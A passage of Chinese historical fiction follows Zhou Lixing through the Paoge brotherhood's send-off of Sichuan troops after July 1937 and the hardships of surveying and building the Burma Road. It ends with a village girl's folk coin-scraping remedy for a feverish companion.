周立行心中莫名有些发胀,他一口闷干了杯里的酒。
不远处的三刀凉见周立行空了酒杯,立即拎着酒罐子来给他满上。
邢五爷看得有趣,不由得开起了玩笑,“哎,行善,你不是喜欢姐姐嘛?三刀凉挺不错的,你看得上不?”
周立行和三刀凉刚好看了个眼对眼,三刀凉一双虎目炯炯有神,似乎在思考邢五爷的话。
“凉姐,别听他胡说!”周立行的脸腾地红了,“我有喜欢的人了,我不是见一个爱一个的那种花心萝卜!”
三刀凉笑了,“对,你是实心的板栗!敬你!”
见三刀凉完全不在意,周立行这才大松一口气,忙不迭地端着酒杯跑了,生怕邢五爷又给他乱拉红线。
*
这一趟巡分堂之旅,让周立行对现下的袍哥
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组织有了更清晰的认知。
黑老鸹时代的袍哥组织,有着明确的“反清复明”共同纲领,有誓词戒律,行为谨慎,行事秘密,令行禁止,便是有侠义之举,也要符合人情物理。
然后发展到现在,各地袍哥泛滥,已经成了兵、侠、匪的混合体。
各地的民团武装很多和袍哥堂口是一体的,各自投靠防区内的大小军阀;袍哥们大多讲义气,崇尚复仇,他们既要保护兄弟姊妹伙以及其亲朋的利益,又会因为个人恩怨义气相互仇杀。
然而在一些地方,袍哥团伙实则就是土匪团伙,他们为了生存会绑架抢劫,甚至作恶多端。
明面上,现在的袍哥分了清水和浑水。
但白日里当清水袍哥,晚上去别处截抢商客当浑水袍哥,也是无人可知的。
清不清浑不浑,全凭龙头老大自己的想法。
有的袍哥确实像传统的侠客,如黑老鸹,或如方结义,他们不是百分百的好人、善人,更不是圣人,但他们胸中有大义,行事由准则,他们不惧生死,快意恩仇。
然而更多的人,只是借用袍哥的名,甚至八排八爷都设不齐,无人当纪纲,只不过是吃酒喝肉□□的乌合之众而已。
揣着一肚子的感悟,周立行跟着邢五爷等人回到成都,时间已经到了六月底。
六月的茶馆里,到处都在议论国民政府军事委员要裁减少川康军队人数的事情。
大家对这些军队感情复杂,一方面很多兵油子仗势欺人确实令人厌烦,但一方面谁又不希望自己家的子弟能当个军官,号令手底下成百上千的兄弟呢?
对减少军队人数,方结义是不能理解且不能接受的,他一直积蓄钱财和人手,就是为了黑老鸹临死前的嘱托,抗日。
他也不断地了解外界的信息,确认大战在即。
这种时候,不应该是想办法增兵扩军,加强训练的吗?
*
周立行陪邢五回堂口向方结义报了情况,转头便去找刘愿平。
刘愿平的儿子已经一岁了,蹒跚学步中,非常可爱,抱着周立行的小腿不撒手。
刘愿平的妻子林玉翠也出来聊天,她虽然人在家中带娃儿,思想却依旧激进。
她讲的竟大多是延安那边的消息,说那里是一个人人平等的地方,军官和士兵通吃同住,将军也要和农民一起种田。
周立行听得双眼放光,当初黑老鸹就特别喜欢探听红军的消息,此时他忍不住守着林玉翠不停地提问,打算回去讲给黑老鸹的牌位听。
刘愿平在一旁听得不敢吭声,好不容易,才用黄埔军校成都分校招生的消息岔开了话题。
“立行,你想不想去考这个学校?”
周立行琢磨了下名字,“黄埔军校成都分校?读出来是做什么的?”
“加入国民革命军的!”
刘愿平一直抱着挖周立行的心思,他觉得这是条十分好道路,周立行聪慧又勇武,才十七岁,如此年少,不可虚度光阴啊!
周立行沉默良久,摇头,“算了。我答应方大哥,留在后方,不上战场。我要照顾他的家人。”
刘愿平只得作罢。
周立行开始请教关于川康军队裁军的事情。
刘愿平本质上就是个技术人员,他所有的政治观点都来源于周围人,真要分析什么大事,他却说不出所以然来。
倒是林玉翠给出了自己的观点:
“也许是为了给个理由,让川军各部队把吃空饷的那些清退了,留下真正的部队人数吧。”
“你知道的,哪个军官不吃空饷喝兵血嘛,不然他自己个儿怎么享受?说不定各部队空额部分加起来还不止十万呢……”
刘愿平觉得这个说法也有一定道理,周立行则是对林玉翠深信不疑,于是跑回去转告方结义。
方结义一摸脑袋,觉得是这么回事啊!
那若是大战爆发,他带着人马去投奔部队给加人数,妥妥没问题!
于是方结义放下心来,想着应该还能继续过一段时间的挣钱、拉人、跑关系的忙碌生活。
然后,一切的一切,都在7月7日晚上,被打破。
41.送行
1937年7月7日晚,卢沟桥事变,震惊西南。
7月8日,川军将领表示愿请缨抗战。7月10日,刘湘通电全国,表示川军抗战,吁请全国团结一致,抗击敌寇。7月25日,刘湘令直辖各军师长,在3日被返回原防区,遵令整军。
方结义的忠义堂在刘湘通电全国后,便立即派出人手向各分堂送信,号令各堂口兄弟们集结,准备出川。
因筹备的早,他的自带枪支和军饷,拉起了约三千人的队伍,直接投军了。
出发那日,堂口张灯结彩,披红挂紫,大门齐开,鞭炮锣鼓齐鸣。
众人身着黑衣黑裤,腰间绑着红绸带,将那漆金的关圣像抬到了院坝里,以开山立堂的规格,为出川袍哥们送行。
二爷身着铠甲红衣,手拿一把红香,在关圣像前吟唱《开山令》:
“……今日结成香一把,胜似同胞共一家。
声摇山岳起龙蛇,万众一心往前杀。
不怕日寇军威大,舍生忘死战胜他。
还我河山才了罢,补天有术效神娲。
人生总要归泉下,为国捐躯始足夸。
战死沙场功劳大,流芳千古永无涯。
各位兄弟情不假,请进香堂把誓发……”①摘自袍哥研究资料《汉留史》
方结义挑人,三不要:独儿不要,病弱不要,无后不要。
他带着准备出去的,是如同早起袍哥那种,要身家清,诸事明,要有心气,敢拼命。
经过一番商议,忠义堂这边的二爷、红旗五爷、六爷、八爷都跟着他一起走了;剩下三爷主持堂口事务,黑旗五爷统揽五排事务,九爷和十爷在原有事务管理上辅助三爷。
周立行和唐浩子因巡分堂有功,虽然没有直接升位,却都被方结义在临行前安排了代理的位置:
唐浩子代管六排,周立行代管八排。剩下两个一起巡过堂的兄弟,被派去当三爷的左右手。
杀鸡取血,滴血入酒,要出川的男儿们腰缠白布,身挂麻绳,所谓自己先给自己披麻戴孝。
袍哥兄弟同生死,共赴战场不需归。这一去,他们没打算回来。
周立行站在送行的队伍里,四周是豪情万丈的呼喊,他却莫名感到酸涩伤悲。
他不知道方结义这一去,到底还能不能回来。
他只知道,昨天晚上,方结义把他所有的孩儿都带来,给他磕了头,最大的只比周立行小五岁,最小的刚满月。
因为方结义早就没了兄弟姐妹,他硬说自己是黑老鸹的大徒弟,周立行是黑老鸹的干儿子,所以自己和周立行是异父异母的亲兄弟,他的孩子就得管周立行叫二爸。
周立行便这边突然多了十几个侄男侄女,还多了七八个不愿意拿了钱财自行散去的嫂子。
那些嫂子们个个都是如花似玉的美人儿,该离开的女人们都带着钱财离开了,留下来的嫂子们都足够泼辣勇猛,一群环肥燕瘦的嫂子们抹着眼泪一边殴打方结义,一边闹着不愿意走。
她们七嘴八舌地说着什么:
“你滚你的,我们姐妹些晓得把娃儿拖大(带大)!”
“出去就好好打仗,别在外面又找一抹多婆娘!”
“反正说了你也不得听,要是死在外头了,还是记得回来跟老娘梦里说一声!”
“我遇到合适的男的,我个人晓得跟他跑,不用你现在就喊我走,我走你龟儿个屁,我要靠着你的堂口生活!”
“我没得家,跟姐妹们在一起,这就是我呢家。”
“要是没打赢日本人,你可别回来!你要当英雄,就当个彻彻底底的英雄,手底下也不要出汉奸!”
“走你呢走你呢,逢年过节晓得给你烧香烧纸,要把日本人拦在外面哈,别让我们成都城也遭人屠了!”
方结义脸都被抓花了,好不容易才把这几个婆娘推出门,留下来单独跟周立行交代。
周立行记得方结义说的每一句话:
“我这一去,不知结局,或战死,或幸存。”
“我把我的家交给你了。那些婆娘们,愿意走的,你亲自送;愿意留的,你尽量照拂一把。侄儿男女们,你尽量多照看,别让他们受欺负。”
“我这走了,没人给她们遮风挡雨……我当丈夫,当父亲,都当的不好。你给他们当二爸,你做个榜样……”
“堂□□给你们,能撑住是本事;若是哪天内讧外斗,或散或衰,都不怪你们。”
“外面的分堂,是给你留的后路。弟娃,想当年黑老鸹那双龙头老大当着,比我风光多了!然而人心易变,时过境迁……我这一走,下面的人会怎么样,谁也说不清楚。”
“若是有朝一日迫不得已,你在去过的分堂里,挑一个合适的,别怕山高水远,你去当个分堂主,偏安一隅也好,过安稳生活。”
“你答应过我,留在后方,可千万别毁诺啊!”
……
周立行红着眼眶,和周围的袍哥们端起酒碗,大家一饮而尽,然后豪气冲天地将酒碗砸碎。
壮士出川,万人送行,男女老少,泪洒蜀地。
所有人都知道,日本是凶狠的虎豹豺狼,他们不仅占据了我们许多土地以战养战,还有先进的飞机坦克,军舰大炮;他们长驱直入,势不可挡,残忍暴虐。
川军本就不是什么厉害的军队,军阀混战时期大多在浑水摸鱼,许多士兵是双枪兵,步枪和烟枪都背在肩膀上。
他们要自筹装备,自筹钱粮,于是有许多地方集合起来的军队,穿的是草鞋,推送物资的是木质独轮鸡公车。
但是他们知道,自己出川是要做什么。他们的父母妻儿也知道,他们出去是去做什么。
北川有一位老人,为自己的儿子写了一面死字旗,他知道儿子这一去肯定会战死沙场,他只能勉励儿子,杀一个不亏,杀两个便赚!待你殉国,这面旗子裹你骨灰回乡。
要出去的他们,留在家乡的她们,都知道,这是一场一去不复返的征程……
整个大西南都在颤动,滇军、黔军等纷纷集结,滇军中的医疗女兵们英姿飒爽,登上报纸,更是激励了无数男女英杰投身战场。
川滇二军,军费自筹;出川之路,艰难无比。
北路川军沿川陕大道前往陕西,需要翻越四川北部的屏障秦岭。由于汽车的数量不足,后期大队人马只能徒步行军。
北路川军走陆路翻山越岭,东路川军则面临着江河的阻碍。
山洪暴发导致所有从宜昌开往重庆的轮船被阻塞在路上,前面的离开了,后续出川部队没有办法按时到达重庆。
等天气情况好转江水退去时,又因轮船运力不足,导致大量部队在重庆附近等候登轮。
这些川军千辛万苦到达战场的时候,还穿着单衣草鞋,便在寒冬投入作战,许多战士阵亡的时候都没来得及换上棉衣。
华夏大地,山河悲鸣……
*
周立行送走方结义之后,整个人再次陷入低沉。
他一时间找不到人生目标,整夜整夜地守着黑老鸹的牌位说话,白日里却一言不发。
他恨日本人,可方大哥不让他出川去杀敌。
他想做点什么,却不知从什么哪里做起。
堂口各人都有自己的职责,他现在是纪纲,管的是有没有人犯条规,所以……他甚至不敢再去看一眼王喜雀。
方大哥走了,不会再有人为他压制风言风语,他怕自己的接近会害了他。
他的心宛如落进油锅,被煎炸成一团焦炭。
石娃子和谷娃子察觉到周立行的不对劲,两人轮番地陪着他,却不知道该怎么劝慰。
没过多久,冯争鸣终于突破门禁,出门来找周立行。
两个年纪相同、身量相仿的英俊少年坐在院子里,一个内心煎熬,一个苦大仇深,相互垮着脸不吭声。
最后还是冯争鸣憋不住,他扯着自己身上军校生的制服恨恨地开口:
“你就不问问我,是怎么出了家门的!”
周立行当然认得出,冯争鸣穿的是黄埔军校成都三分校的衣服。
他也不知是怎么的,见这冯争鸣,就想看他憋气且无能狂怒的模样,所以,故意不问的。
但对方已经开了口,周立行也不好再沉默,只好顺着毛说道,“因为你考上军校,给你的野爹争气了?”
冯争鸣撇了撇嘴,“锤子想给他争气!他都不敢出川抗日……”
说着说着,冯争鸣神色变得和周立行一般低落,“我考军校,不是想给他长脸面……我是自己想……”
周立行点点头,“你比我厉害,你以后会更厉害。”
被周立行这么一夸,冯争鸣立马骄傲起来,再次整理一遍身上的学员军装。
“那当然!我肯定比你厉害!你不过是个代八爷,我可是以后要当军长的人!”
周立行敷衍地抱拳恭维,“那好啊,狗富贵勿相汪,以后干大事了,可别咬我。”
别人要是这么说,冯争鸣非得上去打人不可;周立行这么说,他反而觉得对方是羡慕他,自个儿便高兴起来。
“我觉得,你这一身的本事,不应该只留在袍哥这种三教九流的地方,不如我给你搞一张高中毕业证,你也去考……”
冯争鸣一把撑在桌子上,嗖地将头伸到周立行面前,表情变得亢奋。
周立行勉强动了动嘴角,撇了下去,他也没有觉得三教九流有什么不好,反倒是冯争鸣,好似有些看不上袍哥们了。
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>“我不行。我答应了方大哥,留在后方,不上战场……我要照顾嫂子和侄男女们,也要尽我所能地看着堂口。”
冯争鸣慢慢收回身子,坐回去,喝了一口茶,又抬眼看了周立行一下,突然生气地摔了茶杯,自己走了。
周立行看着地上破碎的茶杯,长叹一口气。
真的,这冯争鸣的性格太过乖僻、喜怒不定,真的是太难打交道了!
根本不知道他在生什么气,他这样,也不知道去学校里能不能交到朋友兄弟,啧。
*
风送长云,时节变换,转眼间到了下半年。
那一日刘愿平突然拿着当初方结义给他的宝片,到堂口大张旗鼓地寻周立行。
陈三爷见了宝片,想起来当初方结义说过,堂口能入公路局的道路运输生意,是刘愿平引荐帮忙;堂口欠的这个人情,到时候由周立行去还,但是堂口要给与一切的刘愿平所需的帮助。
于是陈三爷笑呵呵地邀了周立行前来,同刘愿平一起,听一听是有什么事需要做。
刘愿平一脸激动神色,上去就把周立行一把抱住,“好兄弟,想不想给抗日出份力?!”
周立行把刘愿平撕开,“捐款?捐过了,最近比较穷,没有闲钱了,等我再去攒攒。”
他也不知怎么的,以前还能攒个三瓜两枣,自从当了小八爷,用的总比挣的多。
可能是他虽然棍子板子打的狠,但只要不是作奸犯科的恶人,那些犯了小错被打的,他总是忍不住要偷偷摸摸地去送伤药的缘故吧。
打的人越多,买药钱花的越多……
陈三爷听得发笑,请两人都坐下,“刘先生此番,应是想说什么公务吧?”
刘愿平哈哈大笑,他点头赞同陈三爷,又对周立行摇头。
“不是捐款。我需要你陪我去一趟云南,出一趟公差,时间可能有点久,至少是三五个月。”
川滇线周立行是跟车跑过几趟,但有货运的情况下,花不了这么长时间,周立行有些诧异,“你去干嘛?私下去做事吗?”
刘愿平又激动起来,“公差!我是去出公差!”
他向周立行娓娓道来。
原来,在八月的南京国防会议上,云南省主席龙云向□□提出,日军可能会切断中国的国际交通线,香港和越南的国际运输必会受到影响。
龙云提出《了建设滇缅公路和滇缅铁路计划》,建议各修一条从昆明出发经云南西部到缅甸北部最后直通印度洋的铁路和公路,确保西南对外交通畅通无阻。
龙云表示,滇缅公路由地方负责,中央补助;滇缅铁路由中央负责,云南地方政府协助修筑。
南京政府自然是将滇缅公路的修筑放在了更为优先的地位,毕竟修筑铁路经费和器材需求更大。
刘愿平双手握拳,双眼放光,“虽然现在日寇来势汹汹,但我中华幅员辽阔,儿郎丝毫不畏死,定是能撑住的!我们要在西南边陲修建一条生命线,做完全的准备!才能给前线运送更多外国支持的战备物资!”
说完,他又一脸自豪的模样,“这是我自己争取来的机会,我们现在先去云南昆明,到时候可以一并进入勘探队,去参与这件定会名垂青史的事!”
周立行端详刘愿平那慷慨的模样,冷不丁地问道,“你妈和你婆娘晓得不?”
刘愿平咳嗽一声,“男儿志在四方!此等对国家民族有功的事情,玉翠当然是支持我的!我妈……我妈说反正我留个后了,随便我自己肇……她让我必须得找一个人品和武艺,她信得过的人跟着,尽量保我平安无虞……”
说完,刘愿平眼巴巴地看向周立行,双手搓来搓去,变脸变得挺快,慷慨激昂到可怜作态之间切换丝滑。
刘愿平是怎么争取到去云南滇缅公路相关工作的,周立行不清楚。
但周立行于公于私,都欠刘愿平一个人情。
并且,周立行意识到,他答应方结义待在后方,这云南也是大后方,他若是跟着刘愿平去了,便也是从另一个方面帮助抗日了!
“陈三爷,你意下如何?”
虽然心动,虽然想去,但周立行还是先征询现在堂口代主事的陈三爷一声。
陈三爷眼珠子一转,想到了什么,面上的表情愈加和善,他笑着点头,“甚好,这本就是方大爷留给你的委托,你应该去的。堂口这边,还有邢五爷唐浩子等人在,可以代管着八排,也不缺你一个人。你放心去,做完事再回!”
说完,陈三爷还贴心地打补充,“方大哥的家眷,你更是放心,我们兄弟伙必定给照顾的巴巴适适的。”
得了陈三爷的同意,周立行回头再跟邢五爷报了一声,便简单地收拾行李,去当刘愿平的保镖兼备用司机兼工作人员。
42.云南
周立行作为小八爷,实在是不应该再和王喜雀有什么牵扯,否则三人成虎、众口铄金,他自己不怕三刀六洞,却着实不想害了王喜雀。
可他行走之前,斟酌再三,还是怕他不在的时候,王喜雀又遇到麻烦找不到人。
最终,他还是托机灵一点的谷娃子,去给王喜雀送了一封信。
信里说清楚自己去哪,做什么,大概什么时候回来,有事可以找谁。
同时,周立行也约见了冯争鸣,跟他讲了自己要外出做什么,如若哪天谷娃子去找他,还请他能帮忙。
冯争鸣听说周立行要去参与滇缅公路的事情,整个人都高兴起来,拍着他的肩膀保证一定关照谷娃子。
再听说,谷娃子主要是帮王喜雀的时候,冯争鸣立马收了笑脸,手指头指着周立行抖了十几下,没说话,转身就走。
周立行没听到冯争鸣的拒绝,心知这就是答应了。
没过几日,刘愿平和周立行便乘车到达了云南昆明。
昆明的气候几乎是十全十美的,四季温暖如春,夏不用扇,冬不烧炭,鲜花如锦,艳丽热情。
他们在昆明落地没多久,时任交通部公路总管理处处长的赵祖康便点人随队,对先前曾长期争议的“腾永线”和“顺镇线”两条线路方案亲自踏勘。
赵祖康曾亲自主持修筑了西兰(西安-兰州)、西汉(西安-汉中)和乐西(乐山-西昌)三条打通西北、西南大后方的主干线,曾在修路中重病著有“久愿风尘殉祖国,宁甘药饵送余生”的诗句,是中国公路界的泰斗级人物。
他年岁已大,却紧急亲赴云南这个传说中的烟瘴之地,想要尽快地开启公路建设。
周立行和刘愿平便在这踏勘队伍中,他们分成了几条路线的小组,行走在藤蔓蔓延的丛林中,蒸腾的湿气令人窒息,咬人的蚂蚁、嗜血的臭虫和丛林蚂蟥隐藏在叶片后,无处不在毒蚊时刻酝酿着偷袭。
他们淌过水塘、沼泽,这些地方一直飘荡着薄似晨雾的瘴气,稍有不慎吸入便会晕厥甚至死亡。
他们登上陡峭山岭,走过泥泞坡谷,跨过汹涌江河,爬悬崖,钻刺丛,攀高山,下深沟,选线、插旗、查视……又因是对比路线,时间紧急,他们在许多非常艰险的地方只能粗略地做出标记,然后继续往下赶路。
寻常要三五个月的路程,他们不同的队伍需要尽量在一个月内走完。
勘察组的人外出都做了周详的准备,除了纸笔相机和各类测量工具外,每人身上都带着价值千金的西药奎宁,专为应对疟疾。
除此之外还有中药“百宝丹”、“驱瘴散”、“秘制摆子膏药”、“痧气灵宝丹”等新药,皆是去年云南全省卫生实验处成立后,为战争时的卫生防疫工作提前谋划,号召各药堂新研制的一批中成药。
云南省对这些药物都颁发了许可证,并在思茅、普洱疟疾大爆发的时候经过使用,确认对疟疾有一定预防和治疗的作用。
虽说治愈率远不如西药奎宁,但若是没有了奎宁,这些药物也能挽救很多人的性命。
周立行这才知道,国内没有金鸡纳树,不产奎宁这种治疗疟疾的特效药物。那些有识之人引进栽种的金鸡纳树,还远不到能生产药物的地步。
他也才从勘察组的知识分子们口中得知,日本在侵略的各地搞细菌战,日本人走到哪,哪里都会有特定区域爆发各种疾病。
若是被切断了对外进口或援助的道路,不仅是云南,便是前线战场上,不知道因此死亡多少人。
即便是这样准备充分,且快速简单的两趟走下来,因各种意外、疾病等死亡的,已经有几十名人员,包括工作人员和聘请来带路的村寨民夫。
最终的会议上,众人深感为难,议论纷纷。
“勘察结果证明,根本没有相对好修的路线!”
“是啊,所有的路线,难度都非常高……以什么现在的技术,还有机具,很难修好……”
“怒江大峡谷,那可是世界第二大峡谷啊……”
“我们需要修建跨过澜沧江和怒江的桥,需要在高山峻岭间挖空岩壁,才能绕过大山……没有任何路线可以躲开这些天堑……”
“遍布瘴气和野兽的原始森林,荒无人烟的高山峭壁,这些地方,机器也进不去,难道倚靠手脚去挖吗?”
“得使用炸药,现在能申请到多少炸药?”
“炸药都紧着前线在用,我们只能用……以前的库存……”
“以前,多久以前?”
“清末……”
“说尼玛的锤子……”
“那咋办嘛?还修不修嘛!老逑火得很!你们克走了那么大一圈,走出个球来哦!”
因在勘探途中救过好几次队员,加上周立行擅长在磁场混乱、没有阳光的浓雾森林里辨别方向,再加之过目不忘的特长能让他画出地形图,所以,周立行已经有了旁听会议的资格。
他坐在后排的椅子上,听一群知识分子长吁短叹到开始飚脏话,就差没摔茶杯干起来。
“修啊,死也要修!这条路,这条路是输血路!我们云南人只要没死绝!用手刨!用脚蹬!都要把这条路修出来!”
“前面那么多战士,拿命去堵!我们这些后方的人,难道就不能拼命去修个路吗?”
“虚锤子虚!干就完了!”
“那就听赵先生的,定哪条,就干哪条!”
“横竖也没啥子差别了,干!”
“别慌,除了定路线,我们还得把其他事宜也商定出来,需要多少劳工、多少技术人员、多少工具器具、多少配套的医务人员和药品,还需要修多少站点才能保证道路的通畅,以及需要多少司机、车辆、机械商店、车库……”
修建道路,不是那么容易的事情,涉及到的方方面面,听得周立行心中沉重。
同时他又被这些技术人员们的坚定执着感动,他们仿佛一群精卫,纵然知道大海广袤,却依然每日振起翅膀,以微小的力量坚定不移地飞向自己的目标。
他很庆幸,自己跟着刘愿平来到这里,跟随这群看似文质彬彬的读书人,去翻山越岭。
最终,赵祖康建议确定滇缅公路由昆明经下关、保山、龙陵、芒市、畹町出国,然后在缅甸的腊戍与缅甸的中央铁路接通、直通仰光的最终实施路线。
这条路线的滇缅公路,起于云南昆明,止于缅甸腊戍,全长1146.1公里,云南段全长959.4公里,其中昆明至下关段已于1935年修通土路;缅甸段186.7公里。
经国民政府与缅英当局商定:中国在原来已筑成的昆明至下关公路的基础上,负责修筑下关到畹町中国境内的路段,全长547.8公里;缅方负
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责修筑腊戍至畹町的缅境段。
非常时期,用非常方法!
云南这边狠下一条心,立了军令状,通令该路沿线各县和设治局,限12月份征调滇西各县民众义务修路,各段位置由各段内的人员负责,务必于一年内完成。
然而美利坚也好,英吉利也罢,他们都不认为,在这么艰险的地方,可以用一年的时间修通一条路。
他们的专家面对地图和图片资料的时候,摇头晃脑地说,就算用现代器械,至少也要三五年。
这是一条,不可能修通的道路。
*
周立行本以为勘察完了就能走,哪知道刘愿平本来就是打着修路的想法来的。
勘察结束,刘愿平毫不犹豫地申请留下。
这下周立行傻眼了,那他走不走?
刘愿平到是不好意思再劝周立行留下,他摆了一桌好酒好菜,邀周立行来吃晚饭。
周立行大约猜到了刘愿平要说什么,全程由着刘愿平东拉西扯,他则是一边应付一边专心干饭,别的不说,云南菜是真的超合他的胃口,这段时间他已经学着做了好些菜式了。
刘愿平见满桌子饭菜都快吃干净了,才唯唯诺诺地进入正题。
“兄弟,感谢你这段时间的照顾,好几次都是你拽着我,我才没滚下山崖……你已经救了我几次了,这人情已经还了。要不,你就自己回成都吧……”
周立行打了个饱嗝,再叹口气,“要是没吃这顿饭,我兴许明天就走了。但吃了你这顿饭,我还好意思走吗?”
刘愿平听得一呆,忙不迭地摆手,又急又慌,“不是,我不是这个意思。兄弟,这路修起来凶险,你还没成家没留后,你还是走吧!”
周立行笑了,“光杆杆一根人,生来没牵挂,死去无忧愁,不是更好吗?”
刘愿平约莫是喝了酒,嘴上没个把门,冷不丁地说了心里话,“咋的?不怕见不到你的喜雀姐了?”
这下换周立行咳嗽起来,他和王喜雀没有发生过任何事,怎么但凡亲近点的人,一个二个都这么把他看的明明白白的。
“我喜欢的,不是我能拥有的。方大哥留下的家,也只是给我的一个牵挂。”
周立行这段时间跟着知识分子们到处跑,看他们勇往直前地去解决各种无法解决的难题,看着看着,自然而然地念头通达了。
他不再郁郁寡欢,竟是坦然面对起来。
“我想做点什么事情,才能心安。”
“我不上战场,也能抗日。日本人还没有打进四川,方大哥的妻儿暂时没有危险。此时,我留在云南出份力,也没有违背留在后方的诺言。黑老鸹如果还在,肯定也会同意的。”
“留在这里,一能照顾你,二来我也可以涨涨见识……”
还有其三,周立行没说,他一直记得当初开车时候的幻象,那血淋淋的惨烈形状,有可能是对未来的一种警示。
他得未雨绸缪,他得熟悉这里。
刘愿平心中巴不得周立行能留,于是大着舌头圆话,“那你就留下来吧,也许路修好了,你就忘记她了……”
周立行眼神幽幽地盯着刘愿平,捏紧了拳头。
刘愿平后脖子一凉,三分醉意嗖的没了影,他非常没出息地拍了下自己的嘴巴。
“哎,喝麻了,胡言乱语……”
43.云南
1937年12月,滇缅公路工程正式开工。
陆军独立工兵团一部,以及拥有当时最高级筑路工程技术水准和施工技术力量的交通部直属施工队伍,被紧急抽调前来云南,负责咽喉部位及重要路桥的关键工程。
西南多山,滇西更甚,驿道狭窄,民族众多。
那时的云南,到底有多少种族人,多少种语言,都没个准确数字。
要修路的信件贴着鸡毛,随赠着一副手铐,送到了各地段的土司和县城里,各处的寨子们都讲起了修路,讲起了日寇的暴行,讲起了国家受到的侵犯,讲起了民众是如何残忍被屠杀。
几十种不一样的服饰,几十种不一样的语言,甚至千百年来如影随形的各种仇怨,此刻都化成了一样的目标:修路。
修路,要占地,要炸山;
修路,要迁坟,要拆屋;
修路,要出工,没报酬。
周立行跟着筑路队,见着那古老的驿道上走来成群的滇马,看到了晦暗的林间小路里亮起点点星光;他认识了什么是倮倮族,什么是傣、景颇、德昂、阿昌……他也见识到了各地不同管理方式下,修路人的生活。
有的地方“有钱出钱有力出力”,有钱人家可以高枕无忧,贫苦人家为了有口饭吃,相约走上了工地;
有的地方人手不够,妇女和孩子一起上路,男人挖土背山,女人和孩子用铁锤敲打路基上的势头;
有的地方工头们层层刮油,民工啥补贴也没有领到,疾病也无药可医,只能在饥饿和病痛中听天由命;
有的地方官咬牙截了上缴的钱粮,给民夫们发了报酬;
有的土司拿出了自己的粮食,境内殷实家庭捐助钱粮,为修路工人求医问药;
有的寨子们宿年恩怨械斗不休,却因为修路不得不让儿郎们放下世仇,携手互助……
他看到许多好的,也看到许多坏的。
他见过欺压劳工最后被群殴致死的督工,见过和劳工们通吃同住甚至把自己救命的奎宁片给别人的技术人员;
见过独善其身只催进度不解决困难的官员,也见过守在施工段最终和众人一起被山体掩埋后挖出来的长官;
他见过一寨一寨的人说是为国修路,便搬了祖林,他见过有人贪了民工的报酬逃亡国外……
他跟着这条路蜿蜒向前,随着路向前的,还有沿途的坟塚。
许多人,黝黑的、古铜的、白皙的、惨黄的、高大的、瘦弱的、男的、女的、老的、小的……死人,死人,一路都在死人。
怒江的石崖下波涛怒吼,毫无修路炸山经验的男人们需要追着那些测路人留在石缝里的木桩,打炮眼,填火药。
火药填实了,还要放半尺火线,用湿土封死口子。然而,轻微的失误,便会让填炮的人被炸成一团血雾。
雨季的坍方如同怪兽,黄雾升腾起的地方,山洪突发的地方,怪兽吞噬二来,人们避无可避;被掩埋过的人即便挖出来还没死,也会浑身皮下出血,成为一个“红人”,红转紫,紫转青,然后死去。
毒蚊咬过的地方,会出现红色斑块,接着溃烂,这般一层一层地反复出现在身体的任何一个裸露过皮肤的地方,稍有不不慎变会感染。
很多人突然发起高烧,一边烧一边干活,干着干着人便躺了下去,然后再也不会醒来……
这是一条血肉筑造的道路,每一段路下,都躺着不能归家的人。
这是一条日夜都有人痛哭的道路,每一段路的远处,都有亡魂回不去的家。
*
刘愿平病了。
突如其来的头晕腹痛,呕吐昏迷,让他无法参与工作。
为了赶进度,前面的工程队不能再带上他。
随行的医生把十分紧张的药物分了一些出来,大家把刘愿平和药物交给周立行,便急匆匆地离开。
工程处住的是临时搭建的油毡木板房,去往下一个地点,会把油毡和木板都带过去。
因刘愿平的病,便留了一个小屋子没有拆。
周立行被风吹日晒得更加黑了,再也没有人喊他小白脸了,他更加的锐利,更加的沉稳。
他守着硬灌下药之后依旧浑身滚烫的刘愿平,心急如焚。
这时,一名十六岁左右的傣族少女推门走了进来,阿月抱着一个小小的陶罐,拿着一枚铜钱。
“阿善哥,让我看看吧!”阿月的汉话说的不太好,有着很浓郁的傣腔。
阿月是附近傣寨的人,这段路基本都是傣寨和苗寨的人为主。
周立行在一次垮塌中救了好几名傣人,其中一个便是阿月的阿爹。
那天阿月刚好来给阿爹送东西,得知此事后,便经常到工地来。
不管给阿爹送啥吃喝用都是双份,另一份总是要送给周立行。
周立行若是不收,她就送给刘愿平,刘愿平乐得见有漂亮姑娘来找周立行,每次都挤眉弄眼地收下。
而此地民风开放,青年男女往来极多,也不是送你点东西就代表什么。
周立行见队伍里好多青年人如此,便也入乡随俗,心里把阿月当个妹妹。
东西收了,周立行便自己估个价格,再悄悄以补贴的名义,把钱给了阿月的阿爹。
阿月阿爹特有意思,妹妹送东西给外面的男人,他不管,外面的男人给他钱,他也不管,每天双眼一睁就是修路,默不吭声。
此刻,周立行见阿月的样子似是要刮痧,心一横,反正西药也吃了,死马当活马医!
哪知阿月下一句话是,“你先看看刘先生的屁股缝里长没长疹豆子!”
周立行:“???”
阿月非常严肃,“你总不能让我这个没嫁人的小卜哨看吧?”
周立行只好把刘愿平翻过来,拉开刘愿平的裤子,就着煤油灯仔细地看。
“没有。怎么了?”
周立行知道阿月是附近寨子里人,这段时间她经常和寨子里的女人们来帮忙敲碎石头。
她们有衣有饰,孩童也比较健康,整体比好些地方的人过的富足,由此周立行判断他们是一个有传承的大寨子,其中医术必有偏方,否则不可能在这个病瘴满地的地方繁衍生息。
所以,今晚的周立行相信这个阿月,肯定有什么办法。
“那还好,不是肛疔。快,先刮下痧我看看。”
周立行和阿月一起手脚麻利地把刘愿平褪了个干净,周立行在房间里烧着一些蒿草,驱赶蚊虫,阿月跪在简单的木板床边,短衫不需要挽袖,她用铜钱沾着清油刮了上去。
铜钱没有刮几下,黑色的条纹便从滚烫的肉里浮了出来。
阿月惊呼一声,“果然是泥鳅痧!阿哥你可还有铜钱,我们得一起刮!越快越好!”
周立行不知道什么是泥鳅痧,但他见着黑色的条纹看起来吓人得劲,便二胡不说按阿月说的办。
他身上没有铜钱,但他从不离身的匕首尾部是包的铜皮,于是周立行取下匕首,用尾柄沾油跟着刮起来。
一番折腾下来,刘愿平浑身刮出无数条黑色条纹,他的体温便降了下去,不再如火烧般滚烫。
阿月累出一身汗,她喝着周立行递给的凉水壶,这才解释道:
“瘴毒分很多种,我听阿爷讲过,若是腹痛呕吐晕倒,能用铜钱沾清油刮出黑泥鳅的,便是泥鳅痧,及时刮出来了,或许还有活路,稍一耽误,必死无疑。”
“除开这些,还有羊皮痧,一开始头痛,然后皮子上长红豆,可以用火点燃那小痘痘,噼啪作响。如果红痘的尖尖上变黑了,人也就要死了。”
“哑瘴,一发病人便不能说话,会反复发高烧,冷热交替,三天内必死。”
